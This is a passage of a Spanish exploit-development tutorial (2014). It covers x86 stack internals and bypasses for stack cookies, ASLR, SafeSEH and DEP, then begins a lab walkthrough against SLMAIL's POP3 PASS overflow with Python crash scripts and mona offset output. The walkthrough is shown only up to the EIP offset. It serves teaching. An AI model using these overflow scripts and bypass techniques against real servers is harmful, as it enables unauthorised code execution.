1. Desarrollo básico de
exploits en Win32
Ignacio Sorribas (Wise Security)
@nachosorribas
Octubre 2014
2. Desarrollo de Exploits en Win32
Introducción
En
el
presente
“Training”
o
“Taller”
se
pretende
mostrar
de
forma
práctica
como
desarrollar
un
exploit
funcional
en
un
entorno
Windows
de
32
bits.
Para
ello
utilizaremos
el
software
SLMAIL
5.5.0.4
el
cual
contiene
una
vulnerabilidad
de
“Stack
buffer
overflow”
(desbordamiento
de
buffer
en
la
pila)
en
el
parámetro
“contraseña”
del
servidor
POP3.
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 2 de 35
Términos
Algunos
términos
que
vamos
a
utilizar
durante
el
“training”.
• Vulnerabilidad:
condición
que
puede
llevar
a
la
explotación
de
un
software.
• Exploit:
Código
que
aprovecha
una
vulnerabilidad
en
una
aplicación
para
realizar
operaciones
controladas
por
el
atacante
(ejecución
de
código).
• Payload/
Shellcode:
Código
máquina
que
el
exploit
inyecta
en
al
memoria
del
proceso
vulnerable.
Antiguamente
creaba
o
devolvía
una
Shell.
• Buffer
overflow
(BOF):
Desbordamiento
de
buffer.
Condición
que
permite
introducir
datos
en
una
zona
de
memoria
de
un
tamaño
superior
al
que
tamaño
máximo
establecido
para
dicha
zona.
Arquitectura
x86
Antes
de
empezar,
unos
conceptos
sobre
arquitectura
x86,
mapeo
de
procesos
en
memoria
y
la
pila
en
win32.
3. Desarrollo de Exploits en Win32
32
bit
=
4Gb
de
RAM
(por
defecto
2Gb
kernel
(ring0),
2Gb
entorno
de
usuario(ring3)).
Los
procesos
de
usuario
se
“mapean”
en
memoria
virtual
desde
0x00000000
hasta
0x7fffffff.
Los
del
kernel
desde
0x80000000
hasta
0xffffffff.
A
cada
proceso
y
cada
thread
se
le
asigna
un
espacio
de
memoria,
en
donde
almacena
su
pila
(stack),
heap,
su
código,
etc.
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 3 de 35
• Mapeo
ficheros
PE
(Portable
Executable)
– header(R)
– .text(RX)
– .reloc(R)
– .data(RW)
La
pila
(STACK).
Es
una
estructura
de
tipo
LIFO
(Last
in,
first
out).
Asignada
por
el
SO
para
cada
“thread”.
Crece
hacia
direcciones
de
memoria
menores.
Se
utiliza
para
almacenar
variables
locales,
argumentos,
punteros
a
función,
etc.
Los
datos
se
meten
en
la
pila
mediante
la
instrucción
“PUSH”
y
se
sacan
de
esta
mediante
la
instrucción
“POP”
(POP
no
saca
exactamente
un
valor
de
la
pila,
sino
que
lo
copia
en
el
registro
que
se
le
indica).
La
cima
de
la
pila
la
indica
el
registro
ESP.
Cuando
se
mete
un
valor
mediante
“PUSH”,
ESP
se
decrementa,
cuando
se
lee
un
valor
con
“POP”,
ESP
se
incrementa.
4. Desarrollo de Exploits en Win32
Registros
de
la
CPU.
EIP:
Puntero
a
próxima
instrucción
(de
solo
lectura,
contiene
la
dirección
absoluta
de
la
próxima
instrucción
a
ejecutar
por
la
CPU).
8
Registros
de
propósito
general
(parte
del
contexto
del
thread):
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 4 de 35
• EAX:
Acumulador
(suele
almacenar
el
resultado
de
los
cálculos
de
la
CPU).
• EBX:
Registro
Base
Extendido
(suele
utilizarse
como
apoyo
para
acelerar
el
cálculo
de
operaciones).
• ECX:
Contador
(suele
utilizarse
en
bucles).
• EDX:
Datos
(extensión
de
eax
para
cálculos
más
complejos).
• ESP:
Puntero
de
pila
(indica
la
cima
de
la
pila).
• EBP:
Frame
Pointer
(indica
la
base
del
frame
de
la
pila).
• ESI:
Source
Index
(localización
de
los
datos
de
entrada).
• EDI:
Destination
Index
(Destino
donde
se
almacenaran
los
datos).
Registros
de
segmento:
• CS:
Code
segment
(base
de
la
sección
“.text”).
• DS:
Data
segment
(base
de
la
sección
“.data”).
• ES:
Extra
segment
(para
operaciones
con
strings).
• SS:
Stack
segment
(base
de
la
pila).
• FS:
Extra
• GS:
Extra
Registro
EFLAGS
(32
bits
divididos
de
la
siguiente
forma):
• CF
(Carry
flag).
• ZF
(Zero
flag).
• PF
(flag
de
paridad).
• SF
(flag
de
signo).
• DF
(Direction
flag).
EAX
(32
bit)
AX
(16
bit)
AH
(8
bit)
AL
(8
bit)
0x12345678
0x5678
0x56
0x78
¿Cómo
se
almacenan
los
datos
en
memoria?
x86
utiliza
“Little
Endian”.
El
valor
0x12345678
se
almacenará
en
memoria
como
“x78x56x34x12”.
¿Cuál
es
el
objetivo
al
realizar
un
exploit?
Controlar
EIP,
pero
este
es
de
solo
lectura.
¿Como
lo
controlamos?
2
métodos:
• Sobrescribir
el
EIP
almacenado
en
pila
por
una
función.
• Sobrescribir
la
estructura
de
control
de
excepciones
(SEH).
Cuando
se
llama
una
función
siempre
se
ejecuta
antes
lo
que
se
llama
“prólogo”
(se
hace
automáticamente
cuando
se
llama
la
instrucción
“call”)
y
al
finalizar
se
ejecuta
el
“epílogo”
(en
cuanto
se
llama
a
las
instrucciones
“leave
y
ret”).
5. Desarrollo de Exploits en Win32
El
“prólogo”
se
encarga
entre
otras
cosas
de
guardar
el
estado
de
la
CPU
en
el
momento
de
la
llamada
para
devolver
el
flujo
de
ejecución
en
cuanto
la
nueva
función
termine
(almacena
un
puntero
a
la
próxima
instrucción
a
ejecutar
en
la
pila).
El
“epílogo”
se
encarga
de
restaurar
el
flujo
de
ejecución
anterior
a
la
llamada
a
la
función.
Restaura
en
EIP
el
valor
que
almacenó
el
prólogo
en
la
pila.
Supongamos
el
siguiente
programa
en
c.
//
Programa
de
ejemplo
int
foobar(int
a,
int
b,
int
c)
{
//
Código
de
la
función.
int
x
=
a
+2;
int
y
=
b
+
10;
return
x+y+c;
}
int
main()
{
return
foobar(10,50,65);
}
En
ensamblador,
primero
meteremos
los
parámetros
en
orden
inverso
en
la
pila.
Después
la
instrucción
“call”
guardará
la
dirección
de
retorno
(dirección
absoluta
de
la
siguiente
instrucción
a
ejecutar
después
de
la
función
(saved
EIP)).
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 5 de 35
6. Desarrollo de Exploits en Win32
Después
el
prólogo
guardara
EBP
y
reservará
espacio
para
las
variables
locales:
;prólogo
de
la
función
de
ejemplo
push
ebp
;
Guardamos
el
base
pointer
viejo
en
la
pila
mov
ebp,esp
;
Fijamos
el
valor
del
stack
pointer
sub
esp,8
;Espacio
para
variables
locales
(valor
difiere
según
las
variables)
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 6 de 35
7. Desarrollo de Exploits en Win32
Cuando
la
función
finaliza,
se
ejecuta
el
epílogo
(esto
es
la
instrucción
“leave”):
;Epílogo
mov
esp,ebp
;
mueve
el
stack
pointer
al
ebp
dentro
de
la
función
pop
ebp
;
restaura
ebp
del
frame
anterior
Y
la
instrucción
“ret”
recupera
el
puntero
a
la
siguiente
instrucción
del
tope
de
la
pila
y
lo
mete
en
EIP.
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 7 de 35
8. Desarrollo de Exploits en Win32
En
el
método
1,
el
objetivo
es
sobrescribir
el
valor
almacenado
por
la
instrucción
“call”
en
la
pila,
para
que
cuando
la
ejecución
de
la
instrucción
“ret”
lo
restaure
en
EIP
nos
otorgue
el
control
de
la
ejecución.
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 8 de 35
9. Desarrollo de Exploits en Win32
El
método
2
queda
fuera
del
alcance
de
este
training,
pero
en
resumen
se
trata
de
llegar
a
modificar
una
estructura
utilizada
por
windows
para
manejar
la
excepciones
llamada
“Structure
Exception
Handler”
(SEH).
Si
una
aplicación
maneja
excepciones,
en
cuanto
“pasa
algo”
(error
de
lectura
o
escritura
en
memoria,
etc)
se
llama
al
manejador
de
excepciones.
Si
se
sobrescribe
el
puntero
de
la
estructura
que
contiene
el
puntero
a
la
función
a
ejecutar
por
un
puntero
que
apunte
al
código
que
se
desea
ejecutar
también
se
consigue
el
control
de
la
aplicación.
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 9 de 35
Contramedidas
• Stack
Cookies
• ASLR
• SafeSeh
• HW
DEP/NX
Stack
Cookies
Cuando
el
binario
se
compila
con
/GS,
se
genera
un
dword
(32
bits)
aleatorio
que
se
almacena
en
la
sección
“.data”
del
binario
“PE”.
Cuando
el
se
llama
a
una
función,
se
almacena
EIP
en
la
pila
(push
EIP),
se
almacena
EBP
(push
EBP)
y
se
busca
el
SC
de
la
sección
“.data”,
se
hace
XOR
con
EBP
y
se
hace
un
“push”
del
resultado.
10. Desarrollo de Exploits en Win32
El
epílogo,
recupera
el
SC,
y
lo
comparara
con
el
valor
almacenado
en
“.data”
“Xoreado”
con
EBP.
Si
no
coinciden,
se
aborta
el
proceso.
Para
sobrescribir
EIP
es
necesario
sobrescribir
SC.
¿Como
saltarnos
el
SC?
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 10 de 35
• Sobrescribir
la
Cookie
o Fuerza
bruta
si
la
aplicación
lo
permite.
o Utilizar
algún
“leak”
de
memoria
de
la
aplicación
que
nos
permita
leer
la
Cookie
de
“.data”.
o Si
se
puede
hacer
una
escritura
en
una
zona
arbitraria,
sobrescribir
4
bytes
en
la
sección
“.data”
(es
RW)
que
almacena
la
Cookie
con
un
valor
que
controlemos.
• Evitar
la
Cookie
o Utilizar
SEH
(Si
se
produce
una
violación
de
memoria
y
se
llama
a
SEH,
la
Cookie
no
se
llega
a
comprobar
ya
que
la
función
no
ha
acabado).
o Algún
modo
de
redirigir
el
flujo
antes
de
que
la
función
acabe
y
se
compruebe
la
Cookie
(Vtable,
Function
pointer).
ASLR
(Address
Space
Layout
Randomization)
En
cada
reinicio
de
la
máquina,
la
dirección
de
memoria
donde
se
cargan
los
módulos
cambia
(solo
la
base
0xAABBCCDD).
Funciona
desde
Windows
Vista
hacia
arriba.
Complica
el
uso
de
punteros
a
funciones
de
dichos
módulos
para
realizar
saltos.
Se
activa
con
un
flag
del
“linker”
(/DYNAMICBASE)
11. Desarrollo de Exploits en Win32
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 11 de 35
¿Cómo
saltarnos
ASLR?
• Evitar
ASLR
o Muchas
librerías
y
módulos
siguen
compilándose
sin
ASLR
• Escritura
parcial
o Solo
cambian
los
2
bytes
de
la
base
o Si
encontramos
un
puntero
viable
en
el
mismo
módulo
o
binario
vulnerable,
podemos
llegar
a
el
tan
solo
cambiando
2
bytes.
(Ej:
Supongamos
que
sobrescribimos
EIP
después
de
500
bytes,
así
que
introducimos
“A”*500+”B”.
Comprobamos
en
el
debuger
y
“EIP=0x00400042”
(el
42
es
nuestra
B).
Ahora
supongamos
que
ESP
o
EAX
contienen
un
puntero
a
la
zona
donde
hemos
metidos
las
“A”.
Deberemos
mirar
la
memoria
desde
0x00400000
a
0x0040ffff
en
busca
de
un
puntero
“jmp
eax”
o
en
caso
de
tener
el
puntero
en
ESP
un
“ret”.
Si
lo
encontramos,
entonces
podemos
alcanzar
el
shellcode
con
solo
sobrescribir
1
o
2
bytes
de
EIP)
• Fuerza
bruta
o Si
la
aplicación
lo
permite,
la
dirección
de
memoria
solo
cambia
después
de
un
reinicio.
Se
puede
hacer
fuerza
bruta
de
direcciones
hasta
que
encontremos
la
correcta.
• Con
un
“leak”
de
memoria
(otra
vulnerabilidad
que
nos
permita
conocer
la
dirección
donde
está
cargado
el
módulo).
SAFESEH
• Se
activa
compilando
con
el
flag
“/SAFESEH”.
• Evita
la
creación
de
de
manejadores
de
excepción
“custom”.
• Crea
una
tabla
con
manejadores
válidos
en
el
momento
de
la
compilación.
Bypass:
• Utilizar
punteros
de
modulos
no
protegidos
con
safeseh.
SEHOP
• Valida
toda
la
cadena
de
manejadores
hasta
llegar
a
“finalExceptionHandler”.
Bypass:
• Reconstruir
la
cadena
de
manejadores
entera.
DEP
(Data
Execution
Prevention)
Evita
la
ejecución
de
código
en
la
pila
(stack)
en
el
“heap”
y
en
las
secciones
“.data”
de
memoria.
Necesita
soporte
de
la
CPU.
Si
no
hay
soporte
es
SW
DEP
=
Safeseh
12. Desarrollo de Exploits en Win32
Si
se
intenta
ejecutar
código
en
la
pila
se
obtiene
una
violación
de
acceso
“0xc0000005”.
Se
utilizan
4
modos:
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 12 de 35
• OptIn:
Solo
afecta
a
módulos/servicios
específicos
del
SO
• OptOut:
Todos
los
procesos
excepto
los
que
se
encuentran
en
una
lista
de
exclusión.
• AllwaysOn:
Todos
los
procesos,
sin
excepciones.
• AllwaysOff:
no
DEP
(Por
defecto:
XP
&
Vista
SP0
à
OptIn;
Vista
SP1
&
Win7
à
OptIn;
Server
2003
&
2008
à
OptOut)
¿Cómo
saltarnos
DEP?
• Return
to
libc:
Preparar
los
argumentos
para
llamar
a
una
función
del
SO
en
la
pila
y
hacer
que
EIP
apunte
a
la
función
en
cuestión.
• ROP
(Return-‐oriented
Programming).
Introducir
punteros
en
la
pila
que
apunten
a
“Gadgets”
(Instrucciones
ya
cargadas
en
memoria
con
un
“ret”
a
continuación)
que
una
vez
ejecutadas
invoquen
alguna
acción
como
deshabilitar
DEP
para
el
proceso.
EIP
hay
que
hacerlo
apuntar
a
una
instrucción
“ret”
para
que
coja
el
siguiente
valor
de
la
pila
(apuntado
por
ESP)
y
lo
ejecute.
Algunas
API
de
windows
recomendadas
para
ROP:
• VirtualAlloc
(all
Windows
versions)
• VirtualProtect
(all
Windows
versions)
• WriteProccessMemory
13. Desarrollo de Exploits en Win32
Configuración
del
laboratorio.
Una
máquina
virtual
con
Windows
XP
SP3
(el
idioma
da
igual)
totalmente
actualizado
con
el
siguiente
software
instalado.
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 13 de 35
• Immunity
Debugger
• Mona.py
(Copiarlo
a
la
carpeta
pyCommand
dentro
del
directorio
de
Immunity
Debugger.
Ejecutar
¡mona
dentro
de
Immunity
para
probar
si
está
instalado
correctamente).
• Firewall
y
Antivirus
deshabilitado.
Una
maquina
virtual
con
Kali
Linux
(32
o
64
bits.
Sirve
cualquier
Linux
con
Metasploit
Framework
instalado).
Las
dos
máquinas
virtuales
deben
estar
en
la
misma
red
y
tener
conexión
entre
ellas.
SLMAIL
Exploit
El
exploit
que
vamos
a
realizar
aprovechará
una
vulnerabilidad
de
desbordamiento
de
buffer
en
la
pila,
la
cual
nos
permitirá
sobrescribir
el
valor
de
EIP
guardado
(Saved
EIP)
para
obtener
el
control
del
flujo
de
ejecución.
Los
pasos
a
seguir
para
construir
un
exploit
de
estas
características
desde
cero
son
los
siguientes:
• Encontrar
un
buffer
que
permita
el
desbordamiento.
• Encontrar
la
distancia
desde
el
principio
del
buffer
que
permite
sobrescribir
el
valor
de
EIP
almacenado
en
pila
(offset).
• Localizar
un
espacio
de
memoria
que
controlemos
donde
podamos
almacenar
nuestro
“shellcode".
• Averiguar
los
caracteres
no
válidos
(Bad
characters)
de
nuestro
exploit
para
no
usarlos
en
nuestro
shellcode.
• Modificar
el
valor
del
EIP
guardado
en
pila
para
saltar
a
la
zona
donde
hemos
inyectado
el
shellcode.
•
Nota:
Cuando
ejecutamos
un
shellcode
inyectado
en
el
stack,
hay
que
asegurarse
que
el
registro
ESP
apunta
a
una
dirección
de
memoria
menor
que
la
contiene
el
shellcode,
para
evitar
que
las
distintas
instrucciones
“push
y
pop”
que
se
ejecuten
en
el
shellcode
lo
dañen
al
sobrescribir
valores
en
la
pila.
Partiremos
desde
el
punto
2
de
nuestra
lista,
una
vez
ya
conocemos
la
vulnerabilidad
en
el
software.
Aquí
la
POC
que
provoca
un
“crash”
en
SLMAIL.
import
sys
import
socket
buffer
=
'A'
*
6000
HOST
=
'127.0.0.1'
PORT
=
110
14. Desarrollo de Exploits en Win32
s
=
socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
s.connect((HOST,
PORT))
data
=
s.recv(1024)
print
'Received',
repr(data)
s.send('USER
username'+'rn')
data
=
s.recv(1024)
print
'Received',
repr(data)
s.send('PASS
'
+
buffer
+
'rn')
#data
=
s.recv(1024)
s.close()
#print
'Received',
repr(data)
Ahora
creamos
un
“pattern
de
Metasploit”
de
6000
bytes
para
calcular
las
distancias
a
los
puntos
necesarios
para
elaborar
nuestro
exploit.
Desde
Immunity
Debugger:
!mona
pattern_create
6000
Esto
genera
el
fichero
“c:logsSLMAILpattern.txt”
de
donde
debemos
copiar
el
“pattern”
y
pegarlo
en
nuestra
prueba
de
concepto.
import
sys
import
socket
buffer
=
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac
0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae
1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3
Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A
i5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7A
k8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8
Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8A
o9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq
9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At
1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2
Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1A
x2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2A
z3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb
4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd
5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf
7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh
8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1B
k2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3
Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2B
o3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 14 de 35
16. Desarrollo de Exploits en Win32
5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6
Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8F
r9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2
Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3
Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4
Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6
Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7
Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8
Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0G
h1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3
Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl
6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5
Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp
6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr
7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9G
u0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0
Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy
0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1
Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1
Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1
He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2H
g3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi
3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5
Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5H
m6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4H
o5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4
Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9'
HOST
=
'127.0.0.1'
PORT
=
110
s
=
socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
s.connect((HOST,
PORT))
data
=
s.recv(1024)
print
'Received',
repr(data)
s.send('USER
username'+'rn')
data
=
s.recv(1024)
print
'Received',
repr(data)
s.send('PASS
'
+
buffer
+
'rn')
s.close()
Volvemos
a
lanzar
nuestro
exploit
con
el
SLMAIL
adjuntado
a
Immunity
Debugger
y
nos
fijamos
el
valor
de
EIP
después
del
“crash”.
Para
calcular
la
distancia
hasta
los
4
bytes
que
nos
permiten
controlar
EIP
“mona”
nos
proporciona
dos
métodos:
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 16 de 35
• !mona
pattern_offset
0xXXXX
(valor
que
hay
en
EIP
después
del
crash)
17. Desarrollo de Exploits en Win32
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 17 de 35
• !mona
findmsp
El
primer
método
contestará
en
la
ventana
de
“log”
de
Immunity
la
distancia
hasta
los
4
bytes
mencionados.
El
segundo,
generará
el
fichero
“c:logsSLMAILfindmsp.txt”
con
un
contenido
similar
al
siguiente:
[+]
Looking
for
cyclic
pattern
in
memory
Cyclic
pattern
(normal)
found
at
0x016118e8
(length
6000
bytes)
EIP
contains
normal
pattern
:
0x7a46317a
(offset
4654)
ESP
(0x01cea154)
points
at
offset
4658
in
normal
pattern
(length
430)
EBP
contains
normal
pattern
:
0x46307a46
(offset
4650)
[+]
Examining
SEH
chain
[+]
Examining
stack
(entire
stack)
-‐
looking
for
cyclic
pattern
Walking
stack
from
0x01ce8000
to
0x01cefffc
(0x00007ffc
bytes)
0x01ce8fe4
:
Contains
normal
cyclic
pattern
at
ESP-‐0x1170
(-‐4464)
:
offset
4092,
length
996
(-‐>
0x01ce93c7
:
ESP-‐0xd8c)
0x01ce9f20
:
Contains
normal
cyclic
pattern
at
ESP-‐0x234
(-‐564)
:
offset
4094,
length
994
(-‐>
0x01cea301
:
ESP+0x1ae)
0x01ceab14
:
Contains
normal
cyclic
pattern
at
ESP+0x9c0
(+2496)
:
offset
4092,
length
996
(-‐>
0x01ceaef7
:
ESP+0xda4)
0x01cecf1c
:
Contains
normal
cyclic
pattern
at
ESP+0x2dc8
(+11720)
:
offset
4092,
length
996
(-‐>
0x01ced2ff
:
ESP+0x31ac)
[+]
Examining
stack
(entire
stack)
-‐
looking
for
pointers
to
cyclic
pattern
Walking
stack
from
0x01ce8000
to
0x01cefffc
(0x00007ffc
bytes)
0x01ce8f94
:
Pointer
into
normal
cyclic
pattern
at
ESP-‐0x11c0
(-‐4544)
:
0x01cea148
:
offset
4646,
length
442
0x01ce9c58
:
Pointer
into
normal
cyclic
pattern
at
ESP-‐0x4fc
(-‐1276)
:
0x01ceae00
:
offset
4840,
length
248
0x01ce9d20
:
Pointer
into
normal
cyclic
pattern
at
ESP-‐0x434
(-‐1076)
:
0x01cea010
:
offset
4334,
length
754
0x01ce9dcc
:
Pointer
into
normal
cyclic
pattern
at
ESP-‐0x388
(-‐904)
:
0x01cea08c
:
offset
4458,
length
630
0x01ce9ddc
:
Pointer
into
normal
cyclic
pattern
at
ESP-‐0x378
(-‐888)
:
0x01cea010
:
offset
4334,
length
754
0x01ce9de0
:
Pointer
into
normal
cyclic
pattern
at
ESP-‐0x374
(-‐884)
:
0x01cea060
:
offset
4414,
length
674
0x01ce9df0
:
Pointer
into
normal
cyclic
pattern
at
ESP-‐0x364
(-‐868)
:
0x01cea00c
:
offset
4330,
length
758
0x01cef378
:
Pointer
into
normal
cyclic
pattern
at
ESP+0x5224
(+21028)
:
0x01cecf1c
:
offset
4092,
length
996
0x01cef4d8
:
Pointer
into
normal
cyclic
pattern
at
ESP+0x5384
(+21380)
:
0x01ced07c
:
offset
4444,
length
644
0x01cef588
:
Pointer
into
normal
cyclic
pattern
at
ESP+0x5434
(+21556)
:
0x01cea158
:
offset
4662,
length
426
0x01cef5d4
:
Pointer
into
normal
cyclic
pattern
at
ESP+0x5480
(+21632)
:
0x0160f0c4
:
offset
4091,
length
1909
18. Desarrollo de Exploits en Win32
0x01cef704
:
Pointer
into
normal
cyclic
pattern
at
ESP+0x55b0
(+21936)
:
0x01cea2d4
:
offset
5042,
length
46
0x01cef75c
:
Pointer
into
normal
cyclic
pattern
at
ESP+0x5608
(+22024)
:
0x0160f0c4
:
offset
4091,
length
1909
Como
puede
verse,
este
método
nos
proporciona
muchísima
información
ya
que
además
de
decirnos
la
distancia
hasta
el
EIP
guardado,
nos
muestra
punteros
que
apuntan
a
nuestro
buffer
e
incluso
nos
dice
la
longitud
de
buffer
del
que
disponemos
para
una
posible
inyección
de
código.
En
este
caso,
se
puede
observar
que
ESP
apunta
al
patrón
con
un
offset
de
4658
bytes
y
que
tiene
una
longitud
de
430
bytes
que
podremos
utilizar
para
el
shellcode.
Así
mismo
nos
indica
que
el
